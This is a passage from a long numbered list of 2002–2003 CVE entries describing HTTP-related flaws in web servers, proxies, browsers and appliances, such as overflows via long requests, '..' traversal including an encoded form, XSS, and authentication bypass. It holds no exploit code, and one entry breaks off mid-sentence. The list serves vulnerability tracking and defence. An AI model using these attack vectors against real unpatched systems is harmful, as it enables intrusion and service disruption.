20788| [CVE-2003-1039] Multiple buffer overflows in the mySAP.com architecture for SAP allow remote attackers to execute arbitrary code via a long HTTP Host header to (1) Message Server, (2) Web Dispatcher, or (3) Application Server.
20789| [CVE-2003-1036] Multiple buffer overflows in the AGate component for SAP Internet Transaction Server (ITS) allow remote attackers to execute arbitrary code via long (1) ~command, (2) ~runtimemode, or (3) ~session parameters, or (4) a long HTTP Content-Type header.
20790| [CVE-2003-1028] The download function of Internet Explorer 6 SP1 allows remote attackers to obtain the cache directory name via an HTTP response with an invalid ContentType and a .htm file, which could allow remote attackers to bypass security mechanisms that rely on random names, as demonstrated by threadid10008.
20791| [CVE-2003-1001] Buffer overflow in the Cisco Firewall Services Module (FWSM) in Cisco Catalyst 6500 and 7600 series devices allows remote attackers to cause a denial of service (crash and reload) via HTTP auth requests for (1) TACACS+ or (2) RADIUS authentication.
20792| [CVE-2003-0973] Unknown vulnerability in mod_python 3.0.x before 3.0.4, and 2.7.x before 2.7.9, allows remote attackers to cause a denial of service (httpd crash) via a certain query string.
20793| [CVE-2003-0963] Buffer overflows in (1) try_netscape_proxy and (2) try_squid_eplf for lftp 2.6.9 and earlier allow remote HTTP servers to execute arbitrary code via long directory names that are processed by the ls or rels commands.
20794| [CVE-2003-0904] Microsoft Exchange 2003 and Outlook Web Access (OWA), when configured to use NTLM authentication, does not properly reuse HTTP connections, which can cause OWA users to view mailboxes of other users when Kerberos has been disabled as an authentication method for IIS 6.0, e.g. when SharePoint Services 2.0 is installed.
20795| [CVE-2003-0899] Buffer overflow in defang in libhttpd.c for thttpd 2.21 to 2.23b1 allows remote attackers to execute arbitrary code via requests that contain '<' or '>' characters, which trigger the overflow when the characters are expanded to "<
20796| [CVE-2003-0866] The Catalina org.apache.catalina.connector.http package in Tomcat 4.0.x up to 4.0.3 allows remote attackers to cause a denial of service via several requests that do not follow the HTTP protocol, which causes Tomcat to reject later requests.
20797| [CVE-2003-0865] Heap-based buffer overflow in readstring of httpget.c for mpg123 0.59r and 0.59s allows remote attackers to execute arbitrary code via a long request.
20798| [CVE-2003-0843] Format string vulnerability in mod_gzip_printf for mod_gzip 1.3.26.1a and earlier, and possibly later official versions, when running in debug mode and using the Apache log, allows remote attackers to execute arbitrary code via format string characters in an HTTP GET request with an "Accept-Encoding: gzip" header.
20799| [CVE-2003-0835] Multiple buffer overflows in asf_http_request of MPlayer before 0.92 allows remote attackers to execute arbitrary code via an ASX header with a long hostname.
20800| [CVE-2003-0807] Buffer overflow in the COM Internet Services and in the RPC over HTTP Proxy components for Microsoft Windows NT Server 4.0, NT 4.0 Terminal Server Edition, 2000, XP, and Server 2003 allows remote attackers to cause a denial of service via a crafted request.
20801| [CVE-2003-0803] Nokia Electronic Documentation (NED) 5.0 allows remote attackers to use NED as an open HTTP proxy via a URL in the location parameter, which NED accesses and returns to the user.
20802| [CVE-2003-0754] nphpd.php in newsPHP 216 and earlier allows remote attackers to bypass authentication via an HTTP request with a modified nphp_users array, which is used for authentication.
20803| [CVE-2003-0742] SCO Internet Manager (mana) allows local users to execute arbitrary programs by setting the REMOTE_ADDR environment variable to cause menu.mana to run as if it were called from ncsa_httpd, then modifying the PATH environment variable to point to a malicious "hostname" program.
20804| [CVE-2003-0651] Buffer overflow in the mylo_log logging function for mod_mylo 0.2.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
20805| [CVE-2003-0647] Buffer overflow in the HTTP server for Cisco IOS 12.2 and earlier allows remote attackers to execute arbitrary code via an extremely long (2GB) HTTP GET request.
20806| [CVE-2003-0636] Novell iChain 2.2 before Support Pack 1 does not properly verify that URL redirects match the DNS name of an accelerator, which allows attackers to redirect URLs to malicious web sites.
20807| [CVE-2003-0629] Cross-site scripting (XSS) vulnerability in PeopleSoft IScript environment for PeopleTools 8.43 and earlier allows remote attackers to insert arbitrary web script via a certain HTTP request to IScript.
20808| [CVE-2003-0628] PeopleSoft Gateway Administration servlet (gateway.administration) in PeopleTools 8.43 and earlier allows remote attackers to obtain the full pathnames for server-side include (SSI) files via an HTTP request with an invalid value.
20809| [CVE-2003-0610] Directory traversal vulnerability in ePO agent for McAfee ePolicy Orchestrator 3.0 allows remote attackers to read arbitrary files via a certain HTTP request.
20810| [CVE-2003-0586] Brooky eStore 1.0.1 through 1.0.2b allows remote attackers to obtain sensitive path information via a direct HTTP request to settings.inc.php.
20811| [CVE-2003-0502] Apple QuickTime / Darwin Streaming Server before 4.1.3g allows remote attackers to cause a denial of service (crash) via a .. (dot dot) sequence followed by an MS-DOS device name (e.g. AUX) in a request to HTTP port 1220, a different vulnerability than CVE-2003-0421.
20812| [CVE-2003-0475] Directory traversal vulnerability in iWeb Server 2 allows remote attackers to read arbitrary files via an HTTP request containing URL-encoded .. sequences ("%5c%2e%2e"), a different vulnerability than CVE-2003-0474.
20813| [CVE-2003-0474] Directory traversal vulnerability in iWeb Server allows remote attackers to read arbitrary files via an HTTP request containing .. sequences, a different vulnerability than CVE-2003-0475.
20814| [CVE-2003-0471] Buffer overflow in WebAdmin.exe for WebAdmin allows remote attackers to execute arbitrary code via an HTTP request to WebAdmin.dll with a long USER argument.
20815| [CVE-2003-0459] KDE Konqueror for KDE 3.1.2 and earlier does not remove authentication credentials from URLs of the "user:password@host" form in the HTTP-Referer header, which could allow remote web sites to steal the credentials for pages that link to the sites.
20816| [CVE-2003-0447] The Custom HTTP Errors capability in Internet Explorer 5.01, 5.5 and 6.0 allows remote attackers to execute script in the Local Zone via an argument to shdocvw.dll that causes a "javascript:" link to be generated.
20817| [CVE-2003-0445] Buffer overflow in webfs before 1.17.1 allows remote attackers to execute arbitrary code via an HTTP request with a long Request-URI.
20818| [CVE-2003-0425] Directory traversal vulnerability in Apple QuickTime / Darwin Streaming Server before 4.1.3f allows remote attackers to read arbitrary files via a ... (triple dot) in an HTTP request.
20819| [CVE-2003-0424] Apple QuickTime / Darwin Streaming Server before 4.1.3f allows remote attackers to obtain the source code for scripts by appending encoded space (%20) or . (%2e) characters to an HTTP request for the script, e.g. view_broadcast.cgi.
20820| [CVE-2003-0421] Apple QuickTime / Darwin Streaming Server before 4.1.3f allows remote attackers to cause a denial of service (crash) via an MS-DOS device name (e.g. AUX) in a request to HTTP port 1220, a different vulnerability than CVE-2003-0502.
20821| [CVE-2003-0413] Cross-site scripting (XSS) vulnerability in the webapps-simple sample application for (1) Sun ONE Application Server 7.0 for Windows 2000/XP or (2) Sun Java System Web Server 6.1 allows remote attackers to insert arbitrary web script or HTML via an HTTP request that generates an "Invalid JSP file" error, which inserts the text in the resulting error message.
20822| [CVE-2003-0412] Sun ONE Application Server 7.0 for Windows 2000/XP does not log the complete URI of a long HTTP request, which could allow remote attackers to hide malicious activities.
20823| [CVE-2003-0409] Buffer overflow in BRS WebWeaver 1.04 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP (1) POST or (2) HEAD request.
20824| [CVE-2003-0405] Vignette StoryServer 5 and Vignette V/6 allows remote attackers to execute arbitrary TCL code via (1) an HTTP query or cookie which is processed in the NEEDS command, or (2) an HTTP Referrer that is processed in the VALID_PATHS command.
20825| [CVE-2003-0395] Ultimate PHP Board (UPB) 1.9 allows remote attackers to execute arbitrary PHP code with UPB administrator privileges via an HTTP request containing the code in the User-Agent header, which is executed when the administrator executes admin_iplog.php.
20826| [CVE-2003-0339] Multiple heap-based buffer overflows in WsMp3 daemon (WsMp3d) 0.0.10 and earlier allow remote attackers to execute arbitrary code via long HTTP requests.
20827| [CVE-2003-0338] Directory traversal vulnerability in WsMp3 daemon (WsMp3d) 0.0.10 and earlier allows remote attackers to read and execute arbitrary files via .. (dot dot) sequences in HTTP GET or POST requests.
20828| [CVE-2003-0317] iisPROTECT 2.1 and 2.2 allows remote attackers to bypass authentication via an HTTP request containing URL-encoded characters.
20829| [CVE-2003-0315] Snowblind Web Server 1.0 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP request, which may trigger a buffer overflow.
20830| [CVE-2003-0313] Directory traversal vulnerability in Snowblind Web Server 1.0 allows remote attackers to list arbitrary directory contents via a ... (triple dot) in an HTTP request.
20831| [CVE-2003-0312] Directory traversal vulnerability in Snowblind Web Server 1.0 allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP request.
20832| [CVE-2003-0291] 3com OfficeConnect Remote 812 ADSL Router 1.1.7 does not properly clear memory from DHCP responses, which allows remote attackers to identify the contents of previous HTTP requests by sniffing DHCP packets.
20833| [CVE-2003-0249] ** DISPUTED ** PHP treats unknown methods such as "PoSt" as a GET request, which could allow attackers to intended access restrictions if PHP is running on a server that passes on all methods, such as Apache httpd 2.0, as demonstrated using a Limit directive. NOTE: this issue has been disputed by the Apache security team, saying "It is by design that PHP allows scripts to process any request method. A script which does not explicitly verify the request method will hence be processed as normal for arbitrary methods. It is therefore expected behaviour that one cannot implement per-method access control using the Apache configuration alone, which is the assumption made in this report."
20834| [CVE-2003-0240] The web-based administration capability for various Axis Network Camera products allows remote attackers to bypass access restrictions and modify configuration via an HTTP request to the admin/admin.shtml containing a leading // (double slash).
20835| [CVE-2003-0218] Buffer overflow in PostMethod() function for Monkey HTTP Daemon (monkeyd) 0.6.1 and earlier allows remote attackers to execute arbitrary code via a POST request with a large body.
20836| [CVE-2003-0181] Lotus Domino Web Server (nhttp.exe) before 6.0.1 allows remote attackers to cause a denial of service via a "Fictionary Value Field POST request" as demonstrated using the s_Validation form with a long, unknown parameter name.
20837| [CVE-2003-0180] Lotus Domino Web Server (nhttp.exe) before 6.0.1 allows remote attackers to cause a denial of service via an incomplete POST request, as demonstrated using the h_PageUI form.
20838| [CVE-2003-0123] Buffer overflow in Web Retriever client for Lotus Notes/Domino R4.5 through R6 allows remote malicious web servers to cause a denial of service (crash) via a long HTTP status line.
20839| [CVE-2003-0117] Buffer overflow in the HTTP receiver function (BizTalkHTTPReceive.dll ISAPI) of Microsoft BizTalk Server 2002 allows attackers to execute arbitrary code via a certain request to the HTTP receiver.
20840| [CVE-2003-0113] Buffer overflow in URLMON.DLL in Microsoft Internet Explorer 5.01, 5.5 and 6.0 allows remote attackers to execute arbitrary code via an HTTP response containing long values in (1) Content-type and (2) Content-encoding fields.
20841| [CVE-2003-0106] The HTTP proxy for Symantec Enterprise Firewall (SEF) 7.0 allows proxy users to bypass pattern matching for blocked URLs via requests that are URL-encoded with escapes, Unicode, or UTF-8.
20842| [CVE-2003-0105] ServerMask 2.2 and earlier does not obfuscate (1) ETag, (2) HTTP Status Message, or (3) Allow HTTP responses, which could tell remote attackers that the web server is an IIS server.
20843| [CVE-2003-0017] Apache 2.0 before 2.0.44 on Windows platforms allows remote attackers to obtain certain files via an HTTP request that ends in certain illegal characters such as ">", which causes a different filename to be processed and served.
20844| [CVE-2003-0016] Apache before 2.0.44, when running on unpatched Windows 9x and Me operating systems, allows remote attackers to cause a denial of service or execute arbitrary code via an HTTP request containing MS-DOS device names.
20845| [CVE-2002-2429] webs.c in GoAhead WebServer before 2.1.4 allows remote attackers to cause a denial of service (daemon crash) via an HTTP POST request that contains a negative integer in the Content-Length header.
20846| [CVE-2002-2428] webs.c in GoAhead WebServer before 2.1.4 allows remote attackers to cause a denial of service (NULL pointer dereference and daemon crash) via an HTTP POST request that contains a Content-Length header but no body data.
20847| [CVE-2002-2421] acWEB 1.14 allows remote attackers to cause a denial of service (crash) via an HTTP request for a MS-DOS device name such as COM2.
20848| [CVE-2002-2414] Opera 6.0.3, when using Squid 2.4 for HTTPS proxying, does not properly handle when accepting a non-global certificate authority (CA) certificate from a site and establishing a subsequent HTTPS connection, which allows remote attackers to cause a denial of service (crash).
20849| [CVE-2002-2412] Winamp 2.80 stores authentication credentials in plaintext in the (1) [HTTP-AUTH] and (2) [winamp] sections in winamp.ini, which allows local users to gain access to other accounts.
20850| [CVE-2002-2406] Buffer overflow in HTTP server in LiteServe 2.0, 2.0.1 and 2.0.2 allows remote attackers to cause a denial of service (hang) via a large number of percent characters (%) in an HTTP GET request.
20851| [CVE-2002-2405] Check Point FireWall-1 4.1 and Next Generation (NG), with UserAuth configured to proxy HTTP traffic only, allows remote attackers to pass unauthorized HTTPS, FTP and possibly other traffic through the firewall.
20852| [CVE-2002-2400] Buffer overflow in the httpdProcessRequest function in LibHTTPD 1.2 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP POST request.
20853| [CVE-2002-2395] InterScan VirusWall 3.52 for Windows allows remote attackers to bypass virus protection and possibly execute arbitrary code via HTTP 1.1 gzip content encoding.
20854| [CVE-2002-2394] InterScan VirusWall 3.6 for Linux and 3.52 for Windows allows remote attackers to bypass virus protection and possibly execute arbitrary code via HTTP 1.1 chunked transfer encoding.
20855| [CVE-2002-2378] Cross-site scripting (XSS) vulnerability in AN HTTP 1.41d allows remote attackers to inject arbitrary web script or HTML via a colon (:) in the query string, which is inserted into the resulting error page.
20856| [CVE-2002-2330] Cross-site scripting (XSS) vulnerability in stat.pl in StatsPlus 1.25 allows remote attackers to inject arbitrary web script or HTML via (1) HTTP_USER_AGENT or (2) HTTP_REFERER, which is written to stats.html and executed in client browsers.
20857| [CVE-2002-2317] Memory leak in the (1) httpd, (2) nntpd, and (3) vpn driver in VelociRaptor 1.0 allows remote attackers to cause a denial of service (memory consumption) via an unknown method.
20858| [CVE-2002-2295] Buffer overflow in Pico Server (pServ) 2.0 beta 1 through beta 5 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via (1) a 1024-byte TCP stream message, which triggers an off-by-one buffer overflow, or (2) a long method name in an HTTP request, (3) a long version number in an HTTP request, (4) a long User-Agent header, or (5) a long file path.
20859| [CVE-2002-2292] Directory traversal vulnerability in Remote Console Applet in Halycon Software iASP 1.0.9 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP request to port 9095.
20860| [CVE-2002-2288] Mambo Site Server 4.0.11 allows remote attackers to obtain the physical path of the server via an HTTP request to index.php with a parameter that does not exist, which causes the path to be leaked in an error message.
20861| [CVE-2002-2286] The parse-get function in utils.c for apt-www-proxy 0.1 allows remote attackers to cause a denial of service (crash) via an empty HTTP request, which causes a null dereference.
20862| [CVE-2002-2273] Cross-site scripting (XSS) vulnerability in Webster HTTP Server allows remote attackers to inject arbitrary web script or HTML via the URL.
20863| [CVE-2002-2272] Tomcat 4.0 through 4.1.12, using mod_jk 1.2.1 module on Apache 1.3 through 1.3.27, allows remote attackers to cause a denial of service (desynchronized communications) via an HTTP GET request with a Transfer-Encoding chunked field with invalid values.
20864| [CVE-2002-2269] Directory traversal vulnerability in Webster HTTP Server allows remote attackers to read arbitrary files via a .. (dot dot) in the URL.
20865| [CVE-2002-2268] Buffer overflow in Webster HTTP Server allows remote attackers to execute arbitrary code via a long URL.
20866| [CVE-2002-2258] Moby NetSuite allows remote attackers to cause a denial of service (crash) via an HTTP POST request with a (1) large integer or (2) non-numeric value in the Content-Length header, which causes an access violation after a failed atoi function call.
20867| [CVE-2002-2246] Cross-site scripting (XSS) vulnerability in VisNetic Website before 3.5.15 allows remote attackers to inject arbitrary web script or HTML via the HTTP referer header (HTTP_REFERER) to a non-existent page, which is injected into the resulting 404 error page.
20868| [CVE-2002-2241] Buffer overflow in httpd32.exe in Deerfield VisNetic WebSite before 3.5.15 allows remote attackers to cause a denial of service (crash) via a long HTTP OPTIONS request.
20869| [CVE-2002-2240] Directory traversal vulnerability in MyServer 0.11 and 0.2 allows remote attackers to read arbitrary files via a ".." (dot dot) in an HTTP GET request.
20870| [CVE-2002-2229] Directory traversal vulnerability in Sapio Design Ltd. WebReflex 1.53 allows remote attackers to read arbitrary files via a .. in an HTTP request.
20871| [CVE-2002-2191] Lotus Domino 5.0.9a and earlier, even when configured with the 'DominoNoBanner=1' option, allows remote attackers to obtain potential sensitive information such as the version via a request for a non-existent .nsf database, which leaks the version in the HTTP banner.
20872| [CVE-2002-2190] ArtsCore Studios CuteCast Forum 1.2 stores passwords in plaintext under the web document root, which allows remote attackers to obtain the passwords via an HTTP request to a .user file.
20873| [CVE-2002-2177] BEA WebLogic Server and Express 6.1 through 7.0.0.1 buffers HTTP requests in a way that can cause BEA to send the same response for two different HTTP requests, which could allow remote attackers to obtain sensitive information that was intended for other users.
20874| [CVE-2002-2170] Working Resources Inc. BadBlue Enterprise Edition 1.7 through 1.74 attempts to restrict administrator actions to the IP address of the local host, but does not provide additional authentication, which allows remote attackers to execute arbitrary code via a web page containing an HTTP POST request that accesses the dir.hts page on the localhost and adds an entire hard drive to be shared.
20875| [CVE-2002-2169] Cross-site scripting vulnerability AOL Instant Messenger (AIM) 4.5 and 4.7 for MacOS and Windows allows remote attackers to conduct unauthorized activities, such as adding buddies and groups to a user's buddy list, via a URL with a META HTTP-EQUIV="refresh" tag to an aim: URL.
20876| [CVE-2002-2154] Directory traversal vulnerability in Monkey HTTP Daemon 0.1.4 allows remote attackers to read arbitrary files via .. (dot dot) sequences.
20877| [CVE-2002-2152] The Czech edition of Software602's Web Server before 2002.0.02.0916 allows remote attackers to gain administrator privileges via direct HTTP requests to the /admin/ directory, which is not password protected.
20878| [CVE-2002-2149] Buffer overflow in Lucent Access Point 300, 600, and 1500 Service Routers allows remote attackers to cause a denial of service (reboot) via a long HTTP request to the administrative interface.
20879| [CVE-2002-2146] cgitest.exe in Savant Web Server 3.1 and earlier allows remote attackers to cause a denial of service (crash) via a long HTTP request.
20880| [CVE-2002-2140] Buffer overflow in Cisco PIX Firewall 5.2.x to 5.2.8, 6.0.x to 6.0.3, 6.1.x to 6.1.3, and 6.2.x to 6.2.1 allows remote attackers to cause a denial of service via HTTP traffic authentication using (1) TACACS+ or (2) RADIUS.
20881| [CVE-2002-2131] Directory traversal vulnerability in Perl-HTTPd before 1.0.2 allows remote attackers to view arbitrary files via a .. (dot dot) in an unknown argument.
20882| [CVE-2002-2109] Matt Wright FormMail 1.9 and earlier allows remote attackers to bypass the HTTP_REFERER check and conduct unauthorized activities via (1) a blank referer, (2) a spoofed referer with a trusted domain/URL after the beginning of the referer, or (3) a spoofed referer with a trusted domain/URL in the beginning (hostname) portion of the referer.
20883| [CVE-2002-2096] Buffer overflow in Novell Remote Manager module, httpstk.nlm, in NetWare 5.1 and NetWare 6 allows remote attackers to execute arbitrary code via a long (1) username or (2) password.
20884| [CVE-2002-2085] Directory traversal vulnerability in page.cgi of WWWeBBB Forum 3.82 beta and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP request.
20885| [CVE-2002-2081] cphost.dll in Microsoft Site Server 3.0 allows remote attackers to cause a denial of service (disk consumption) via an HTTP POST of a file with a long TargetURL parameter, which causes Site Server to abort and leaves the uploaded file in c:\temp.
20886| [CVE-2002-2076] Directory traversal vulnerability in Lil' HTTP server 2.1 and 2.2 allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP GET request.
20887| [CVE-2002-2030] Stack-based buffer overflow in SQLData Enterprise Server 3.0 allows remote attacker to execute arbitrary code and cause a denial of service via a long HTTP request.
20888| [CVE-2002-2029] PHP, when installed on Windows with Apache and ScriptAlias for /php/ set to c:/php/, allows remote attackers to read arbitrary files and possibly execute arbitrary programs via an HTTP request for php.exe with a filename in the query string.
20889| [CVE-2002-2025] Lotus Domino server 5.0.9a and earlier allows remote attackers to cause a denial of service by exhausting the number of working threads via a large number of HTTP requests for (1) an MS-DOS device name and (2) an MS-DOS device name with a large number of characters appended to the device name.
20890| [CVE-2002-2024] Horde IMP 2.2.7 allows remote attackers to obtain the full web root pathname via an HTTP request for (1) poppassd.php3, (2) login.php3?reason=chpass2, (3) spelling.php3, and (4) ldap.search.php3?ldap_serv=nonsense which leaks the information in error messages.
20891| [CVE-2002-2014] Lotus Domino 5.0.8 web server returns different error messages when a valid or invalid user is provided in HTTP requests, which allows remote attackers to determine valid user names and makes it easier to conduct brute force attacks.
20892| [CVE-2002-2012] Unknown vulnerability in Apache 1.3.19 running on HP Secure OS for Linux 1.0 allows remote attackers to cause "unexpected results" via an HTTP request.
20893| [CVE-2002-2009] Apache Tomcat 4.0.1 allows remote attackers to obtain the web root path via HTTP requests for JSP files preceded by (1) +/, (2) >/, (3) </, and (4) %20/, which leaks the pathname in an error message.
20894| [CVE-2002-2008] Apache Tomcat 4.0.3 for Windows allows remote attackers to obtain the web root path via an HTTP request for a resource that does not exist, such as lpt9, which leaks the information in an error message.
20895| [CVE-2002-2007] The default installations of Apache Tomcat 3.2.3 and 3.2.4 allows remote attackers to obtain sensitive system information such as directory listings and web root path, via erroneous HTTP requests for Java Server Pages (JSP) in the (1) test/jsp, (2) samples/jsp and (3) examples/jsp directories, or the (4) test/realPath.jsp servlet, which leaks pathnames in error messages.
20896| [CVE-2002-1999] HP Praesidium Webproxy 1.0 running on HP-UX 11.04 VVOS could allow remote attackers to cause Webproxy to forward requests to the internal network via crafted HTTP requests.
20897| [CVE-2002-1994] advserver.exe in Advanced Web Server (AdvServer) Professional 1.030000 allows remote attackers to cause a denial of service via multiple HTTP requests containing a single carriage return/line feed (CRLF) sequence.
20898| [CVE-2002-1992] Buffer overflow in jrun.dll in ColdFusion MX, when used with IIS 4 or 5, allows remote attackers to cause a denial of service in IIS via (1) a long template file name or (2) a long HTTP header.
20899| [CVE-2002-1986] Perception LiteServe 2.0 through 2.0.1 allows remote attackers to obtain the source code of CGI scripts via an HTTP request with a trailing dot (".").
20900| [CVE-2002-1973] Buffer overflow in CHttpServer::OnParseError in the ISAPI extension (Isapi.cpp) when built using Microsoft Foundation Class (MFC) static libraries in Visual C++ 5.0, and 6.0 before SP3, as used in multiple products including BadBlue, allows remote attackers to cause a denial of service (access violation and crash) and possibly execute arbitrary code via a long query string that causes a parsing error.
20901| [CVE-2002-1965] Cross-site scripting (XSS) vulnerability in Errors.gsl in Imatix Xitami 2.5b4 and 2.5b5 allows remote attackers to inject arbitrary web script or HTML via the (1) Javascript events, as demonstrated via an onerror event in an IMG SRC tag or (2) User-Agent field in an HTTP GET request.
20902| [CVE-2002-1951] Buffer overflow in GoAhead WebServer 2.1 allows remote attackers to execute arbitrary code via a long HTTP GET request with a large number of subdirectories.
20903| [CVE-2002-1941] Buffer overflow in RadioBird WebServer 4 Everyone 1.28 allows remote attackers to cause a denial of service (crash) via a long HTTP GET request with the Host header set.
20904| [CVE-2002-1930] Buffer overflow in AN HTTPd 1.38 through 1.4.1c allows remote attackers to execute arbitrary code via a SOCKS4 request with a long username.
20905| [CVE-2002-1928] 602Pro LAN SUITE 2002 allows remote attackers to view the directory tree via an HTTP GET request with a trailing "~" (tilde) or ".bak" extension.
20906| [CVE-2002-1926] Directory traversal vulnerability in source.php in Aquonics File Manager 1.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the HTTP query string.
20907| [CVE-2002-1908] Microsoft IIS 5.0 and 5.1 allows remote attackers to cause a denial of service (CPU consumption) via an HTTP request with a Host header that contains a large number of "/" (forward slash) characters.
20908| [CVE-2002-1907] TelCondex SimpleWebServer 2.06.20817 allows remote attackers to cause a denial of service (crash) via a long HTTP GET request.
20909| [CVE-2002-1906] The web server for Polycom ViaVideo 2.2 and 3.0 allows remote attackers to cause a denial of service (CPU consumption) by sending incomplete HTTP requests and leaving the connections open.
20910| [CVE-2002-1905] Buffer overflow in the web server of Polycom ViaVideo 2.2 and 3.0 allows remote attackers to cause a denial of service (crash) via a long HTTP GET request.
20911| [CVE-2002-1904] Buffer overflow in the Log function in util.c in GazTek ghttpd 1.4 through 1.4.3 allows remote attackers to execute arbitrary code via a long HTTP GET request.
20912| [CVE-2002-1897] MyWebServer LLC MyWebServer 1.0.2 allows remote attackers to cause a denial of service (crash) via a long HTTP request, possibly triggering a buffer overflow.
20913| [CVE-2002-1895] The servlet engine in Jakarta Apache Tomcat 3.3 and 4.0.4, when using IIS and the ajp1.3 connector, allows remote attackers to cause a denial of service (crash) via a large number of HTTP GET requests for an MS-DOS device such as AUX, LPT1, CON, or PRN.
20914| [CVE-2002-1874] astrocam.cgi in AstroCam 0.9-1-1 through 1.4.0 allows remote attackers to execute arbitrary commands via shell metacharacters in an HTTP request. NOTE: earlier disclosures stated that the affected versions were 1.7.1 through 2.1.2, but the vendor explicitly stated that these were incorrect.
20915| [CVE-2002-1865] Buffer overflow in the Embedded HTTP server, as used in (1) D-Link DI-804 4.68, Dl-704 V2.56b6, and Dl-704 V2.56b5 and (2) Linksys Etherfast BEFW11S4 Wireless AP + Cable/DSL Router 1.37.2 through 1.42.7 and Linksys WAP11 1.3 and 1.4, allows remote attackers to cause a denial of service (crash) via a long header, as demonstrated using the Host header.
20916| [CVE-2002-1864] Directory traversal vulnerability in Simple Web Server (SWS) 0.0.4 through 0.1.0 allows remote attackers to read arbitrary files via a ".." (dot dot) in an HTTP request.
20917| [CVE-2002-1850] mod_cgi in Apache 2.0.39 and 2.0.40 allows local users and possibly remote attackers to cause a denial of service (hang and memory consumption) by causing a CGI script to send a large amount of data to stderr, which results in a read/write deadlock between httpd and the CGI script.
20918| [CVE-2002-1828] Savant Webserver 3.1 allows remote attackers to cause a denial of service (crash) via an HTTP GET request with a negative Content-Length value.
20919| [CVE-2002-1823] Buffer overflow in the HttpGetRequest function in Zeroo HTTP server 1.5 allows remote attackers to execute arbitrary code via a long HTTP request.
20920| [CVE-2002-1822] IBM HTTP Server 1.0 on AS/400 allows remote attackers to obtain the path to the web root directory and other sensitive information, which is leaked in an error mesage when a request is made for a non-existent Java Server Page (JSP).
20921| [CVE-2002-1819] Directory traversal vulnerability in TinyHTTPD 0.1 .0 allows remote attackers to read or execute arbitrary files via a ".." (dot dot) in the URL.
20922| [CVE-2002-1818] ezhttpbench.php in eZ httpbench 1.1 allows remote attackers to read arbitrary files via a full pathname in the AnalyseSite parameter.
20923| [CVE-2002-1816] Off-by-one buffer overflow in the sock_gets function in sockhelp.c for ATPhttpd 0.4b and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
20924| [CVE-2002-1793] HTTP Server mod_ssl module running on HP-UX 11.04 with Virtualvault OS (VVOS) 4.5 through 4.6 closes the connection when the Apache server times out during an SSL request, which may allow attackers to cause a denial of service.
20925| [CVE-2002-1783] CRLF injection vulnerability in PHP 4.2.1 through 4.2.3, when allow_url_fopen is enabled, allows remote attackers to modify HTTP headers for outgoing requests by causing CRLF sequences to be injected into arguments that are passed to the (1) fopen or (2) file functions.
20926| [CVE-2002-1718] Microsoft Internet Information Server (IIS) 5.1 may allow remote attackers to view the contents of a Frontpage Server Extension (FPSE) file, as claimed using an HTTP request for colegal.htm that contains .. (dot dot) sequences.
20927| [CVE-2002-1710] The attachment capability in Compose Mail in BasiliX Webmail 1.1.0 does not check whether the attachment was uploaded by the user or came from a HTTP POST, which could allow local users to steal sensitive information like a password file.
20928| [CVE-2002-1700] Cross-site scripting vulnerability (XSS) in the missing template handler in Macromedia ColdFusion MX allows remote attackers to execute arbitrary script as other users by injecting script into the HTTP request for the name of a template, which is not filtered in the resulting 404 error message.
20929| [CVE-2002-1663] The Post_Method function in method.c for Monkey HTTP Daemon before 0.5.1 allows remote attackers to cause a denial of service (crash) via a POST request with an invalid or missing Content-Length header value.
20930| [CVE-2002-1654] iPlanet Web Server Enterprise Edition and Netscape Enterprise Server 4.0 and 4.1 allows remote attackers to conduct HTTP Basic Authentication via the wp-force-auth Web Publisher command, which provides a distinct attack vector and may make it easier to conduct brute force password guessing without detection.
20931| [CVE-2002-1643] Multiple buffer overflows in RealNetworks Helix Universal Server 9.0 (9.0.2.768) allow remote attackers to execute arbitrary code via (1) a long Transport field in a SETUP RSTP request, (2) a DESCRIBE RSTP request with a long URL argument, or (3) two simultaneous HTTP GET requests with long arguments.
20932| [CVE-2002-1635] The Apache configuration file (httpd.conf) in Oracle 9i Application Server (9iAS) uses a Location alias for /perl directory instead of a ScriptAlias, which allows remote attackers to read the source code of arbitrary CGI files via a URL containing the /perl directory instead of /cgi-bin.
20933| [CVE-2002-1629] Multi-Tech ProxyServer products MTPSR1-100, MTPSR1-120, MTPSR1-202ST, MTPSR2-201, and MTPSR3-200 ship with a null password, which allows remote attackers to gain administrative privileges via Telnet or HTTP.
20934| [CVE-2002-1624] Buffer overflow in Lotus Domino web server before R5.0.10, when logging to DOMLOG.NSF, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP Authenticate header containing certain non-ASCII characters.
20935| [CVE-2002-1596] Cisco SN 5420 Storage Router 1.1(5) and earlier allows remote attackers to cause a denial of service (router crash) via an HTTP request with large headers.
20936| [CVE-2002-1562] Directory traversal vulnerability in thttpd, when using virtual hosting, allows remote attackers to read arbitrary files via .. (dot dot) sequences in the Host: header.
20937| [CVE-2002-1557] Cisco ONS15454 and ONS15327 running ONS before 3.4 allows attackers to cause a denial of service (reset to TCC, TCC+, TCCi or XTC) via a malformed HTTP request that does not contain a leading / (slash) character.
20938| [CVE-2002-1556] Cisco ONS15454 and ONS15327 running ONS before 3.4 allows attackers to cause a denial of service (reset) via an HTTP request to the TCC, TCC+ or XTC, in which the request contains an invalid CORBA Interoperable Object Reference (IOR).
20939| [CVE-2002-1549] Buffer overflow in Light HTTPd (lhttpd) 0.1 allows remote attackers to execute arbitrary code via a long HTTP GET request.
20940| [CVE-2002-1546] BRS WebWeaver Web Server 1.01 allows remote attackers to bypass password protections for files and directories via an HTTP request containing a "/./" sequence.
20941| [CVE-2002-1541] BadBlue 1.7 allows remote attackers to bypass password protections for directories and files via an HTTP request containing an extra / (slash).
20942| [CVE-2002-1533] Cross-site scripting (XSS) vulnerability in Jetty JSP servlet engine allows remote attackers to insert arbitrary HTML or script via an HTTP request to a .jsp file whose name contains the malicious script and some encoded linefeed characters (%0a).
20943| [CVE-2002-1531] The administrative web interface (STEMWADM) for SurfControl SuperScout Email Filter allows remote attackers to cause a denial of service (crash) via an HTTP request without a Content-Length parameter.
